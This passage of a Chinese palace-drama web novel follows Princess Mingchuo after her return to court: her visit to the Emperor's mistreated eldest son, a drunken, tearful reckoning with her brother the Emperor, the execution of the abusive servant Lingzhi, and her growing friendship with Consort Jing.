灵芝腿一软就跪了下来,抱住了明绰的腰:“奴婢真没想到这辈子还能再见到你……”
明绰实在没想到她会在这里,一时也说不出话,弯腰把她扶起来,自己也是情不自禁地落泪。灵芝站起来,张嘴就骂那两个拦明绰的宫人:“不长眼的东西!你有几个脑袋,连长公主都敢拦!”
“不知者无罪,你生这么大气做什么?”明绰含着泪笑起来,劝了一句。灵芝赶紧领着她往殿里进,明绰跟在她身边,一边问了一句,“你怎么会在敬夫人身边?”
“我可不是伺候她的。”灵芝的鼻子皱了皱,似是提到承华宫的主人都很晦气,“我是伺候皇后的。”
明绰脚下微微一顿,随即哑然失笑,意外自己怎么会没有想到。灵芝是谢府家仆,如今又在宫里,当然是谢星娥把她带进来的,这是顺理成章的事情。
灵芝亲亲热热地拉着她的手,又道:“但是长公主回来了,我若是能回上阳宫再伺候长公主……”她说着便又哽咽起来,“太后要是还能看见今天……”
“好了好了,”明绰回握住她的手,“能相见已是不易,不哭了。我去同星娥说一声,把你讨回去就是。”
她这么说了,灵芝反而神色有些怪异地笑了笑,也没说好。明绰倒是不怀疑她见到自己就说想回上阳宫的心,但是她这个反应也证实了明绰的猜测。
灵芝是被谢皇后放在敬夫人母子身边的。
“长公主先坐吧,我给你沏茶。”灵芝有意换了个话题,服侍着她坐好。
明绰拉了她一把:“你不用忙。我就是来看看皇长子,这孩子我还没见过呢……”
灵芝给她倒茶,只道:“他有什么好见的?”但明绰让阴青蘅和承华宫的宫人们一起去请皇长子出来,灵芝也没拦着。
“这叫什么话。”明绰把茶接过来,笑了笑,“当初我在长安都听说了,皇兄为了庆祝皇长子的出生,减了百姓们一年三成的赋税。陛下这样看重,我怎好不来看一看?”
“那都是过去的事了。”灵芝朝明绰挤了挤眼睛。长公主于她而言不是外人,所以她四下看了看,见没有别人在,就压低了声音,主动对明绰道,“那时也不知道,皇长子是个傻子啊。”
“什么?”
灵芝便敲了敲自己的太阳穴。明绰想了想,突然问:“他真是天生的吗?”
萧盈的能谋善断是与生俱来的,这位敬夫人听起来也是个聪明人,他们俩怎么会生出一个傻子?
明绰的语气怀疑,灵芝便知道她在想什么,神色颇为暧昧地笑了笑,轻声道:“宋广义做的那些污糟事,长公主想必是知道了?”
明绰点了点头。灵芝便也没有瞒她:“皇后为了挖出这些事儿,确实花了些心思。这孩子到三四岁了还不会说话,连走路都不稳当,承华宫一概瞒得死死的,外头一点儿都不知道……若是早知道是这么个傻子,倒也不用皇后这么费力了。”
明绰还是觉得难以置信:“皇兄也不知道?”
“谁知道陛下在想什么。”灵芝只是摆摆手,赶一只飞虫似的,“敬夫人确实也有些手段,嫁过人的身子,陛下不嫌弃也罢了,生了这么个儿子,陛下还帮着她瞒……”
很多年前埋下的嫉恨突然蠢蠢欲动地翻了个身。但如今的明绰只是面无表情地想,看来萧盈对她还有过几分真心。
门外突然传来了脚步声。明绰抬起头,看见阴青蘅领着头,一群宫人簇拥着一个孩子,带他走了进来。
灵芝刚刚才说过萧秧三四岁了“走路都不稳当”,他就在门槛上绊了一下。身边的宫人们都是一副习惯的样子,甚至有人提前做了个接他的姿势,免得他摔着。然后他走了进来,阴青蘅引着,说这是长公主,他就像没听见一样,眼神一直游离,不知道在看什么。
灵芝表情尴尬地看了明绰一眼,似是在说“跟你说了吧”。
萧秧和妹妹崇安公主不太一样,长得没那么像父亲。萧盈自小就是显眼的重睑,但萧秧不是,想来是随母亲。他比乌兰晔大了一岁多,两人的个头看起来差不多,都是瘦瘦高高的体型。明绰看着他那副心不在焉的样子,心脏就像被一只手捏了一把似的,酸酸涨涨的疼。
晔儿当时说不出话,最严重的时候也是这样,眼神游移,充耳不闻,把身边的所有人都隔绝在了自己的世界外面。
明绰让宫人们都别围着萧秧,自己半蹲下来。十岁的孩子个头不矮了,明绰得抬头看着他的眼睛,轻声唤了他一句:“秧儿?”
萧秧的眼睛又往旁边躲了躲,身体明显抗拒她,还是一句话也不说。明绰也不强求,跟他保持着一定的距离,小声道:“我是姑姑。”
灵芝在她身后道:“长公主,没用的,他就是个傻的。”
明绰心里突然刺了一下,好像灵芝不是在说敬夫人的孩子,而是在说她的晔儿。
承华宫的人都低着头,显然这种话已经听灵芝说惯了,她是皇后的人,就算是当面羞辱皇长子,也没人能说什么。但萧秧好像察觉不到灵芝在说他,明绰的视线突然落到了他脖子里。他戴着一枚金饰,一半隐在衣襟里,但露出来的一半像是一枚金雁,以五彩丝绦穿住,挂在脖子里。明绰想起了什么,下意识地伸出手,想仔细看看那枚金饰。
萧秧察觉到她要碰自己,防御性地伸出手想打她。但刚动了一下,灵芝突然上前一步,用力把萧秧拽到一边,语气凶狠地质问了一句:“想干什么!”
明绰反而被她吓了一跳,然而萧秧还是没什么反应,被拽了也不反抗,只是非常淡漠地看了灵芝一眼,把手收了回去。但明绰还是看清了,他方才露出来的一小截手腕上有一道清晰且新鲜的肿胀红痕。
阴青蘅来跟明绰汇报的时候分明说,皇长子为了母亲彻夜未归正发脾气。但是萧秧现在安安静静的,想来也不必问灵芝是怎么让他安静下来的了。
明绰深深地看了灵芝一眼,似是又重新认识了她一遍。灵芝是她从小就在身边的人,是自己人,自然就是好人。即使她仗着自己统管上阳宫的地位,对小宫女总是过分残酷,明绰也视而不见,因为她对自己从来不会如此。她也忘记了,当年多次亲自奉药去含清宫,每每都亲眼看着萧盈服下才肯走的人,也是灵芝。
说到底,她只是一个宫人,谢拂霜起兵谋反之前她就被送回了太尉府,后来太后兵败身死,萧盈大概也懒得追究,但不意味着他还愿意看到这张脸。谢星娥把她又调进宫,但不要她在栖凤宫伺候,原因多半也在于此。
那么,萧盈知不知道,这个年少时给他带来无数磋磨的人,如今
又在磋磨他的儿子呢?
灵芝不知道她在想什么,一心护着,只道:“这傻子下手没轻重,小心些。”
一个声音恰好从殿外传进来,带着掩不住的恼火:“你说什么?”
承华宫的人都低下头,纷纷地叫了一声“夫人”。敬漪澜走了进来,极具保护意味地站到了儿子身前。原本一双眼睛朝着灵芝怒视,突然看见了一个陌生的女子,只是意外了一瞬间,便明白了这人是谁。还不等灵芝借机耍威风,敬漪澜已经主动敛袖低头,屈膝行礼:“见过长公主。”
明绰一时没有还礼,打量着眼前的人。萧秧那双眼睛果然是随了她,但她似乎并没有自己想象中的那么美。不用跟明绰自己比,就是跟谢星娥比,也差了不是一点半点,虽入宫多年,但她衣饰依然像个民女,简朴到头上都找不出一根多的钗环。明绰不知道她是一贯如此,还是失宠之后才这般刻意低调。反正就这么看一眼,她没太看出来萧盈为什么当年如此喜欢她,倒是明白了谢星娥为什么这么恨。
唯独她的眼神不像个普通民女。长公主也好,皇后身边的灵芝也好,她都不怕。恭敬只是为了不落下错处,实际上,那双本该温柔多情的杏眼里,只有质地冰冷的戒备和审视。明绰在打量敬漪澜,敬夫人也在打量长公主。
明绰笑了笑,神色如常地还了个礼:“东乡见过敬夫人。”
然后也不等敬漪澜说什么,自己主动解释了一句:“东乡听说敬夫人在栖凤宫一夜未归,皇长子担忧母亲,所以来看看……”
敬漪澜眼中戒备不减,冷冷道:“多谢长公主费心。”然后便再没有别的话了。
明绰停了半刻,见她确实没有客套的意思,便也识相地告辞:“既然夫人已经回来了,东乡就不多管闲事了。夫人若得了空,我随时在上阳宫恭候……”
敬漪澜几乎没耐心等她说完后半句就准备送客了:“恭送长公主。”
明绰没再说什么,最后看了萧秧一眼。对于母亲的出现,他也没有什么反应。好像外面的世界对他而言都不存在,他只是沉默着,独自在一个任何人都无法窥探的空间里。
明绰收回视线,轻声告了句罪,离开了承华宫。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
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第121章
明绰回到上阳宫,还没进门就已经看见了天子的辇舆停在殿外阶下,她什么都没说,先转头看了一眼阴青蘅。
阴青蘅统管上阳宫,也不是长公主回来以后才安排的事情。建康的宫城太大了,朝廷也不是每个宫殿都有闲钱去维护,若是哪里没人住了,几年之内就会破败,但上阳宫不一样。陛下一直着意让人维持着原状,阴青蘅也不是随随便便就拨过来的。
明绰住回来两天就看出来了,阴女史是天子的人。但她看起来也没有生气,只是指了指立在天子辇舆旁边等候的任之,轻声道:“去吧。”
阴青蘅一怔:“长公主?”
任之欲盖弥彰地别开了眼,似是想装作跟阴青蘅不熟。明绰看得好笑,只是摇了摇头。阴青蘅还算聪明,知道她已经看出来了,乖乖地过去跟任之站一块儿了,就算承认了明绰的猜测。
明绰了然地笑笑,自己提起裙摆进了殿。
萧盈果然已经在等她,甚至不是会客的外殿,而是里面长公主的寝殿。明绰进去的时候,看见一个伺候的人都没留,萧盈屈着腿,别别扭扭地坐在了她床下的脚踏上——从前明绰去含清宫看他,最喜欢坐的那个位置。
见到明绰进来,萧盈抬起头,朝她露出了一个微笑。
这还是回宫以后明绰第一次私下里见他,她还没有想好应该如何面对皇兄,但他来了也就来了。倒也不用特意摆脸色让萧盈知道她生气,明绰很肯定袁煦已经把什么都告诉他了。甚至没有必要以“你去哪儿了”“你怎么来了”这样的话来开场,他肯定知道她今天去了承华宫。
所以看着萧盈那个微笑,明绰也不知道该说什么,只好站着,定定地看了他一会儿,直到萧盈主动把袖子抬起来,让她看见他身边的托盘。里面是一碗醍醐,两碟干果。
明绰终于没忍住笑了,走过去,坐在了他身边。
“皇兄,”明绰顺手把那碗醍醐端远一点,提醒他,“乌兰人不缺醍醐。”
萧盈眉毛轻轻一扬,好像有些懊恼自己竟然没想到这么显而易见的事。但他明显不是真的没想到,因为他把袖袍一撩,又掏出了一壶酒来,搁在了那托盘上。明绰低头看了一眼,还是笑着,摇了摇头。
小时候才喝醍醐,现在他们之间,只能喝酒了。
萧盈抬手斟了两杯酒,一杯给她,一杯留给自己,然后先举了起来,作势要跟她碰一碰杯。明绰就举起来,任他凑过来,轻轻一碰,然后听见他说:“敬乌兰徵。”
这是明绰没想到的。她眉毛一挑,看着萧盈仰起脖子,一口气喝干了杯中的酒。萧盈也不催她喝,自己又斟了一杯,问她:“他真的给玉含立了石像供奉吗?”
明绰这才恍然地一笑,把酒喝干,回答他:“立了。在长安的西觉寺。”
萧盈就点了点头:“那多谢他。”
他的口吻好像乌兰徵还活着。明绰什么都没说,把空杯子伸过去,让他继续倒。没有人敢跟她提起乌兰徵,除了袁綦那个实心眼的送了一口鸿鸣剑过来。建康的人都说她回来是喜事,没有一个人敢提,她回来,是因为她的丈夫不在了。
萧盈继续给她斟上,又问:“他对你好吗?”
“你不是都知道吗?”
萧盈看着她:“朕要听你亲口说。”
明绰把酒接过来,只说了一个“好”字,喉中已经哽住。她轻轻咳了一声,仰起脖子,又把酒喝完,继续把空杯子伸过去。萧盈伸出三根苍白细长的手指拈住杯沿,拿走了,没再给她斟。
“九年前,朕给袁煦下了一道密诏,要他去长安,无论如何都把你带回来。”萧盈转头看着她,“但是袁煦抗命了。”
“哦,”明绰想起来了,原来这就是当初谢维在平城时跟她提过的那道没有人知道的密旨,“所以你罚了他?”
萧盈微微地眯起眼睛,似是好好回忆了一番才想起来。那一年,桓宜华第一次为了苻家女一事告到了含清宫,袁煦确实受罚来着。萧盈明白她误会了什么,好笑地摆了摆手,只道:“不是为那个。”
袁煦回来说,大燕帝后恩爱和睦,皇后在宫城正殿面见朝臣,处理政事,而乌兰徵在他起居寝殿接见他们兄弟二人——简直是闻所未闻之事。
明绰过得很好,有夫君爱重,有大权在握,还有襁褓中的娇儿。他能罚袁煦什么?
“朕只是想不明白,”萧盈的声音很轻,“他既然这么爱重你,为什么又眼看着那些兀鲁蛮子把你逼到要向母国求救呢?他不是横扫六合吗?他不是一代雄主吗?”
明绰露出了一丝苦笑。她回答不了这个问题,只能伸手去抢酒杯。但是萧盈避了一下,只道:“你酒量不好,慢些喝。”
明绰:“我如今酒量已经好了。”
沉默。萧盈看着她,动也不动,像是隔着他只能遥远听说的十三年。明绰也不要那酒杯了,直接取了壶,仰起脖子,从壶嘴里饮了一大口。
“兴和五年,建康遣使至长安,商议共灭拔拔真。”明绰也开始说话,“我给你写了信,想求你接我回家……”她没有意识到自己突然掉了眼泪,反而笑了,“可是卢望告诉我,你和敬夫人马上就要有孩子了。”
萧盈看着她,面无表情地坠下了一行眼泪。明绰把酒壶放下,伸出手抹了一把已经有些发烫的面皮。
“当年是我错怪了皇兄。”明绰擦干了眼泪,深吸了一口气,“我母后不是你害死的。我后来知道了。”
萧盈还是没说话,明绰的眼泪擦不完似的,又往下落。她很不争气地在哽咽,尽管她非常想平静地说这句话:“可是嫁给乌兰徵这么多年,我也不后悔……”
她好想跟萧盈证明这一点,虽然她都不知道这种证明还有什么意义。乌兰徵给她的这十三年,不是因为她和萧盈之间的误会才存在的。她是他的妻子,她爱过他,以一种她从来没有用来爱萧盈的方式。甚至到现在,她仍然还是爱着他。他曾经办了一场浩大的婚礼,在万民的见证下,请他信仰的阿瓦神女为他们的结合祈福,可是后来她却说服他背离了神女——是因为这个,神女才要从她身边夺走乌兰徵吗?这是迟到的惩罚吗?乌兰徵说过,死后,他想要回到神女湖。这个话他只对她说过,所以明绰不知道他们会把乌兰徵安葬在哪里,是长安的王陵
吗?她想过,若她能顺利回到洛阳,为乌兰徵报完仇,她就要送他回神女湖。神女湖在哪里啊?他明明答应过会带她去的。明绰想跟萧盈解释的就是这个。她不是因为十三年前在恨他,是这个。是他把她带到了离神女湖最远的地方,她再也不可能找到乌兰徵了。
可她能说出来的还是只有那句已经对袁煦说过的话,好像她担心袁煦不敢如实转达,所以她一定要再说一遍,让萧盈清清楚楚地听到:“我永远都不会原谅你的。”
萧盈流着泪,闻言却笑了出来,仿佛对她的恨甘之如饴:“那也很好。”
于是明绰也笑了。当然了,萧盈当然想得到她会恨,可是那都不重要,重要的是她活着,她回到身边来。明绰从出生起就与他相伴,怎么会不了解他呢?就是太了解了,所以她只能这样恨着他,然后笑出来。
她又喝了一口酒,还是从壶嘴里。建康的酒是粳米酿的,带着一点儿甜。明绰总觉得哪里不够,干脆把酒往那杯醍醐里一倒,搅了搅。这才勉强像是乌兰人会喝的奶酒。她递给萧盈,萧盈没有犹豫,端过来就喝,然后被那个古怪的味道冲得整张脸都皱成了一团。
明绰终于平复了几分,再次抹干净了眼泪,突然道:“段氏害我,你替我报仇。”
萧盈点了点头:“等开春,朕出兵……”
“不行。”明绰又打断他,“你不许去欺负我儿子。”
萧盈一时怔住了:“那朕应该……?”
“我不管。”明绰斜睨了他一眼,神情似笑非笑,像是故意捉弄他。她也许还是难以避免地有些醉了,才会这样蛮横不讲理地提要求,“是你要把我困在建康,那就你去想办法。我要段氏死,但你若敢趁机谋夺我夫君打下来的江山……”她的声音低下去,还是笑着,伸出一根手指,点了点萧盈的心口,“我一定让你,不、得、好、死。”
萧盈好一会儿都没说话,反而轻轻地握住了她那根手指。要在不与大燕起一点儿纷争的情况下把手伸到强邻的朝堂上,暗中除去掌权的太后……根本痴人说梦。萧盈没有答应,但也始终没有开口说不行,半晌,也只是笑了笑,问她:“这样,你就愿意留在建康了吗?”
明绰把手抽回来:“郑美人死了。”
话题转得突然,萧盈的眉毛一下子挑得很高:“朕已经抚恤了她的家人。”
明绰闻言便讽刺地冷笑了一声。宫里上至嫔妃,下至宫人,都是严格禁止自戕的。但萧盈一直都是这样的做派,他虽然积威甚重,但驭下并不严苛,常常法外容情。“威”要与“仁”并施,是当年谢郯教他的。这么多年了,他用得甚至比谢郯本人还好,即便宽仁,也没有人敢以为他是什么好性子。
但明绰想说的不是这个。
“我好好的妹妹,”明绰指责他,“嫁给你十几年,被折磨得人不人鬼不鬼……”
萧盈难得露出了一个不加掩饰的不耐烦的表情,提到谢星娥都令他感到厌烦。
“谁折磨她?”萧盈语气冷冷的,“她不去折磨别人朕就烧高香了。”
明绰了然地斜睨他一眼,他果然什么都清楚。
“夫妻做到这份上还有什么意思?”明绰问他,“干脆废后好了。”
萧盈看了她一眼,什么都没说。明绰便懂了,露出了一个讽刺的笑意。
“还说乌兰徵怎么放任兀鲁蛮子逼死我,”明绰轻声细语地往他心里戳,“皇兄不还是一样顾忌着谢氏,不敢废后?”
这样比较起来是有失偏颇的。明绰心里非常清楚,萧盈留着谢皇后不是忌惮谢聿,而是为了平衡。他若要对谢氏赶尽杀绝,当年趁着谢郯之死、谢太后兵变就是最好的机会,当年没动,后来就不会动。现在袁、桓两姓一家,他更没有了动谢氏的理由,与谢氏姻亲关系复杂的卢氏、王氏等门阀也会来分权——分的人多了,每个人手里的权力就小了,就没有人能够威胁到天子了。
再说了,他也没有属意到非要娶回来做正妻的女子,没有必要废了谢星娥。
萧盈察觉到明绰激怒他的意图,反而露出了一个意味不明的浅笑,没有上当。明绰看着他风雨不动安如山的那张脸,突然自嘲似的苦笑了一声。
她怎么忘了,萧盈不是乌兰徵,这个人是激不动的。
“行,你不喜欢星娥,此事没有办法强求。”明绰叹了口气,跟他好好说话,“那敬漪澜总是你要宠幸的,秧儿也是你跟她生的,皇兄就不管他们母子了吗?”
萧盈歪了歪头:“谁说朕不管他们母子?”
明绰让他气笑了:“皇兄是不是想说,秧儿注定无法继承大统,你越冷淡,才是越保护他?”
萧盈没有回答,但他的表情很明确,他就是这个意思。
明绰一时没什么好讲的,伸手抚了抚自己的额头。她知道情况不一样,这个局面更有可能是敬漪澜的选择而非萧盈的意愿,灵芝和段知妘也不是同一回事……但是萧秧已经让她想起了晔儿,她没有办法控制自己的迁怒。萧盈这种态度和当时乌兰徵对晔儿的态度何其相似?
“你们男人都是这样,没有儿子的时候就想要儿子,有了儿子又不管……”明绰已经完全不控制音量,她的愤怒从未消散,她还没有等到原谅降临,可是那个让她愤怒的人已经不在了,她只能寻找一个新的人质问,“你们要女人十月怀胎生下孩子,就只是为了‘继承大统’,一旦没有了这个资格,孩子在你们眼里就一文不值了是不是!”
在她今天说过的所有话里,唯独这句是让萧盈猜不出缘由的,让他一时愣在了那里。
上一句,她说当年从卢望那里得知敬夫人得宠一事,依然有掩不住的心酸和落寞,下一句,又是替表妹鸣不平。所以萧盈不明白她怎么又情真意切地站到了承华宫那头去了。
“我以为……”萧盈良久才开了口,“他这么爱重你,必然也会爱重你们的孩子。”
明绰猛地闭上了眼睛,用掌根贴住了自己的额头。她的太阳穴一跳一跳,涨得她头疼。她好想乌兰徵,所以好气乌兰徵。好担心晔儿,所以好恨萧盈。眼泪又要落下来了,但她的眼睛在发痛,她真的不想再哭了。
“皇兄,”明绰还是捂着脸,声音发颤,“我喝醉了,你走吧。好不好?”
萧盈很长时间都没动,他就坐在她的身边,一个很近的距离,却无法拥抱她,哪怕只是安慰。床下的脚踏太小了,只能坐得下两个孩子,他们都屈着腿,别扭地想把自己塞回去,但终究是回不去了。
然后萧盈无声地站了起来,离开了。
第122章
明绰不知道一个人在床边脚踏上坐了多久,才听见阴青蘅走进来的声音。那壶酒已经空了,大半是明绰在萧盈走了以后自己喝完的。阴青蘅什么都没说,招手让人把已经倒在地上的酒壶和没动过的果干,还有那碗已经酒气冲天的醍醐一起收拾掉了。
她自己俯身,想把明绰扶起来:“长公主……”
明绰本来把额头磕在自己的膝盖上,闻声就抬起头,看着她。
阴青蘅轻声道:“长公主身子还没好,不该饮这许多凉酒。”
明绰反应很慢,朝她眨了两下眼睛才反应过来她说了什么似的,笑了起来:“皇兄拿来的,我岂能不饮?”
阴青蘅便什么也没说,把她扶起来。明绰任她搀着,又道:“就像他把你放在上阳宫,我能有什么办法?”
阴青蘅面不改色,小心地扶着她坐到床上
:“陛下只是担心长公主。”
明绰笑了一声,突然抓住了阴青蘅正要帮她解衣服的手腕。她看起来完全是醉了,眼神没法聚焦,脸上也是笑着,手上却不知道哪里来的一股力气,握得阴青蘅手腕发痛。
“长公主……”
“我不喜欢。”明绰的笑意淡去了两分,她直视着阴青蘅的眼睛,说得非常清楚,“我不喜欢,皇兄这样的‘担心’。”
阴青蘅尴尬地僵在那里,分明是长公主要抬头看着她,却又什么无形的东西压在她的腰上,逼迫她保持着躬身的动作。但不过片刻,阴青蘅便掩住了那一丝慌乱,轻声道:“奴婢明白了。”
听见这句话,明绰便松开了手,跟什么都没发生过似的,又像一个醉醺醺的人该有的模样那般,往床上一倒。
本来已经好得差不多的病,因这一顿冷酒,又反复起来了。
萧盈可能也没想到明绰如今身体怎么比他还差,悔不迭地又来看。但明绰头疼,睡得昏昏沉沉,不理睬他。隐约听见太医令卞弘的声音,一会儿是什么“阳虚寒盛”,一会儿又是“肝气郁结”。苍蝇似的嗡嗡响了半天,也就是说长公主其实没什么大碍,就是天儿太冷了,长公主水土不服,又心情不好,才好不起来。只是开着些温补的药,让她“凡事宽心”。
明绰觉得她没什么不宽心的,什么都不用她操心,什么都不关她的事,她现在是太宽心了。
见她这样,萧盈就没把长安使臣的话告诉她听。东乡公主回朝的消息已经传到大燕了,乌兰晔寄了一封信过来,大意就是母亲既然回去了,他就遥祝母亲在建康一切都好。以前的事情既往不咎,也请舅舅念在母亲面上,莫再生事。
整封信从头到尾,都没有表达过对母亲还活着的惊喜,萧盈就猜,乌兰晔可能一直都知道母亲没事。可是明绰这么长时间都下落不明,他信里也没有一丝担忧与思念,反而有一股隐隐的威胁之意,好像他们都已经把东乡公主平安还回去了,大雍要再出兵,他们可就不客气了。
萧盈看不出来这是乌兰晔亲自写的还是段氏的意思,反正不好给明绰看,怕她病中更伤心。
但是明绰还是知道了。因为袁綦听说了大燕天子寄来了这么一封王八蛋的信,居然一脚踹开了建康使驿的大门,去把倒霉催的大燕使君揍了一顿。
他是出了气,结果就是桓廊腆着脸去给他擦屁股,然后一状告进含清宫。但陛下听完也就是说了一句,“仲宁年轻气盛,不懂事也是有的”,就没了。
据说桓令君气得大骂,说仲宁都二十六、快二十七的人,转眼就奔而立啦!全建康的世家公子们里头去数数,这年纪的,生个儿子都懂事了,他还年轻气盛不懂事?他看呐,仲宁也不是冲动莽撞,这就是仗着陛下,有恃无恐!最后还是回去告诉自己家侄女,让桓宜华收拾他。
跟明绰说这些事儿的是来探病的谢星娥,觉得有意思,想博她一笑,结果明绰一点儿都没笑得出来。皇后一走,上阳宫里就派了人,要请陛下过来一见——去传话的时候阴青蘅掌心都捏了一把汗,从来只有陛下召之即来,没有反过来的道理。但萧盈还真的来了,硬是被明绰逼着,把那封信交了出来。
是晔儿的字迹。但是明绰看完了,也没像萧盈想象中那样伤心痛哭,只是淡淡地说了一句,“这是段氏的意思”,就把信放在熏炉上,烧干净了。好一会儿再开口,问的却是那挨打的使君是谁。
萧盈甚是为难地发了个音,居然是拔勒突於支。
“他呀。”明绰只觉得好笑,“那没什么,他是个怕事的人,想来也不会借题发挥,闹到影响邦交的地步,皇兄就别怪罪小袁将军了。”
“原本就是私事。”萧盈倒是淡淡的,他本来也没有打算处置袁綦,“不过是仲宁和使君有些口角,打了就打了,桓令君真是小题大作。”
就此揭过。
明绰就这么时好时坏地病了快一个月,宫里又出了事。
最近萧盈突然对承华宫上心起来,暗地里召了宫人去问。谁能想到,皇长子看起来话也不会说,其实认的字不少,都是敬夫人私底下慢慢教的。那宫人还说,皇长子尤精算学,无师自通。一篇书摆在眼前,翻一遍,虽未必明白讲了什么,但书中多少字多少节,清清楚楚,绝不出错。
萧盈心里惊奇,悄没声儿地抽了一天去看儿子,结果正撞见有人对皇长子肆意打骂,那人当场就被拖出去杖毙了。杖毙了不算,陛下还命人把尸体送去了栖凤宫。
明绰一听就知道死的是谁了。
皇后自己请了统管后宫不力的罪,摆出了闭门思过的态度,连新春的宫宴筹备都交出去让别的嫔妃打理了。明绰还想上门宽慰她两句,却吃了个闭门羹。她也就明白过来,谢星娥这是知道陛下突然想起承华宫来是因为谁了。
若是敬漪澜耍手段,那是预料之中。可这背后的一刀竟来自表姐,谢星娥想不明白为什么,也没修炼到能跟姐姐若无其事的地步。
明绰在栖凤宫外面等了一会儿,只好自己回去了。
阴青蘅扶着她在积了雪的宫道上慢慢地走,难免替她鸣不平:“皇后这是什么意思?事情闹成这样也不是长公主愿意的,还不是她自己……”
听见灵芝被打死了,长公主还落了两滴泪呢。
可是明绰也只摇了摇头,让她别说了。其实早在她离开建康之前,和星娥就已经离心了。那时谢家风雨飘摇,皇后为了撇清与姑母的关系,毫不犹豫地把刚刚失去了母亲的表姐抛到了一边,再不理会。
明绰不是不能理解她为什么那么做,何况她那时还那般年幼。明绰自问久别重逢时并未抱着芥蒂之心,但在皇后宫门外淋了会儿雪,也难免又觉心寒。
阴青蘅仍是不满:“长公主还病着都不忘来看她,她倒真是做得出来!”
“我与她是血亲不假,”明绰不在意地笑了笑,“可血亲也未必都是同路人哪。”
不知道是不是因为这个闭门羹的关系,那天晚上,上阳宫就来了一位意想不到的客人。
那天明绰说出“在上阳宫随时恭候”的时候,显然是看着敬漪澜态度冷淡,知道她不会来才扔出去的一句场面话。所以听到阴青蘅通报的时候,她着实吃了一惊。
明绰其实没想在后宫里站队,谢星娥这个态度,她已经有些后悔自己的多管闲事。就算与谢星娥离心,她毕竟也还是皇后的表姐。若是敬夫人并不是看起来那样的简单,还想着以退为进,为皇长子谋划,那明绰也没有那么愿意掺和进她们俩的争斗中去。
阴青蘅领着人进来的时候,明绰本已站起来迎,但又担心太热切了传递了什么错误的信号,于是又不尴不尬地坐了回去。
敬漪澜正好走进来,把长公主这点儿动作全看在了眼里。
“长公主。”敬漪澜只当没看见,行了个礼,明绰只好站起来还了一礼,请她坐。
今日敬漪澜没那么素了,想来是当日去栖凤宫是受罚的,才不敢太招摇。今日是来正式拜会长公主的,她的穿戴就都很得体。粉妆敷面,就看不出来三十多岁的年纪了,往那里一站,纤秾合度,也说不上来多么漂亮,但就是看着很顺眼。看着明绰有点儿尴尬,她就主动开口,说今日是来谢长公主的。
“我……”明绰笑得无奈,正如阴青蘅所说,事情会变成这样真的不是她算计出来的,那天就是跟萧盈发个脾气,“夫人不必谢我,是你花了这样多心思,把皇长子教得这样好,陛下才会……”
敬漪澜突然打断她:“秧儿不是傻子。”
明绰一怔,赶紧道:“我不是那个意思……”
“秧儿和寻常孩子一样,教了就能学会,不必我……‘那样’去花心思。”敬漪澜意味深长地顿了顿,揭破了明绰的言外之意。
但她看起来也不生气,只是很平静地要跟长公主讲明白这个事情,“孩子是我的,教他识字明理本来就是我的责任,不是为了培养他去争什么。”
明绰的另一层疑虑被她的坦诚戳破,一时之间尴尬得完全不知道说什么好。敬漪澜也没有要继续让她不舒服的意思,落落大方地把来意解释得更清楚了一些。
“我知道灵芝曾经是上阳宫的人,长公主与她应该是有些感情的,如今她遭了祸,长公主心里应该也不好受。只是灵芝对我儿多有薄待,有她在承华宫,我母子二人度日艰难,苦不堪言。不管长公主有心还是无意,都是解救我母子二人于水火的恩人,我理当拜谢。”
她说着就起来行了个大礼。明绰赶紧站起来扶她:“夫人快起来……”
敬漪澜身体稍稍避了一下,没让她扶起来,坚持行了这个大礼。明绰只好站着受了她一拜。然后敬漪澜便站了起来,一点儿没有拖泥带水,直接道:“长公主放心,我并不是来拉拢谁的,长公主心中有顾忌,我也不敢叫你为难。以后不会再来了。”
她说完就准备转身,明绰却突然扬起了声音:“慢着!”
敬漪澜转过身来,看了她一眼。明绰让她弄得有些哭笑不得,好一会儿都没组织出话来。她也算是见过了形形色色的人了,但干脆利落到这个份上的当真是少有。明绰现在相信阴青蘅所说的了,敬漪澜确实是那种说了不伺候陛下,就真的一点儿不伺候了的人。
真让她这么走了,她光明磊落了,倒成了明绰上不得台面。她连萧盈都不怕,怕她们后宫这点事儿?
“夫人坦率,让东乡自惭形秽。”明绰笑了笑,“夫人既这么说,那我也不怕与夫人结交。”
这下轮到敬漪澜露出了一丝意外的神色:“长公主肯信我?”
“郑美人受辱自戕,宫里没人敢说什么,你却敢祭奠她。夫人高义,我为何不信?”
敬漪澜好一会儿没说话,但她看着明绰,嘴角慢慢地露出了一丝微笑。
“长公主确实和陛下说的一样。”
明绰没想到她会说出这么一句来,下意识就追问:“陛下说我什么?”
敬漪澜唇边的笑意更深了两分,没有回答这个问题,只是敛衽为礼,仍旧告辞,但语气和缓了很多。
“长公主尚在病中,我不便叨扰,还是好好休息吧。承蒙不弃,过两日我再来拜访。”
第123章
敬漪澜依言来了两次,还给明绰带来了民间的偏方——别吃那些个苦药了,不如起来多走动走动。明绰让她拉着,裹得严严实实,出去绕着上阳宫就是溜达,用敬漪澜的话说,跟那拉磨的驴似的。就这么溜了两回,确实比卞弘的方子管用,转眼就见好了。
阴青蘅颇有维护太医令的意思,说卞弘诊得对啊,有敬夫人陪着说笑就大好了,那病根儿可不就是心情不好吗?
明绰听了就笑。她是跟敬漪澜聊得投缘。坦诚直率固然是优点,但人若没有分寸,这优点就会变成致命的缺陷。敬漪澜好就好在太知道分寸了,只跟明绰谈些不相干的,什么乌兰人的风俗,要么就是建康这些王公世家的荒唐轶事。话题刚刚要触到一些让人不开心的事情,她就会巧妙地避开,以免有“交浅言深”的尴尬,但又春风化雨似的,让人觉得已经跟她很熟悉、很亲近了。
明绰也就跟她多见了这么两回,已经完全明白为何当年萧盈会那样宠爱她了。可若说病能好是因为心情好了,那功劳也不全在敬漪澜一人身上。
阴青蘅懂事,既然现在在长公主身边,就一心一意地服侍她。明绰也不管阴青蘅在萧盈那边是怎么交代的,不过她只是不喜欢萧盈诸事都盯得那样紧,又不是要背着他做什么,阴青蘅要是连这点儿情况都应付不了,那这人也不得用。
阴青蘅证明了她有这个能力,识相,也有忠心。现在明绰不用忌惮着自己身边的人,心里自然痛快不少。
病好了,她便起了意,要在上阳宫办宫宴请桓宜华过来。桓宜华如今是袁府的主母,膝下孩子又多,也不是这么容易能出门的,明绰又病了这一场,所以一直拖到了这会儿。
她递了封信给桓宜华,说想认认她的孩子们,桓宜华却回信说,若要带孩子进宫,总不好厚此薄彼,请长公主允许苻氏和李氏也带着孩子进宫见见世面吧。
“桓姐姐还是太贤惠了。”明绰顺手把那花笺给敬漪澜看,只是一径叹气。
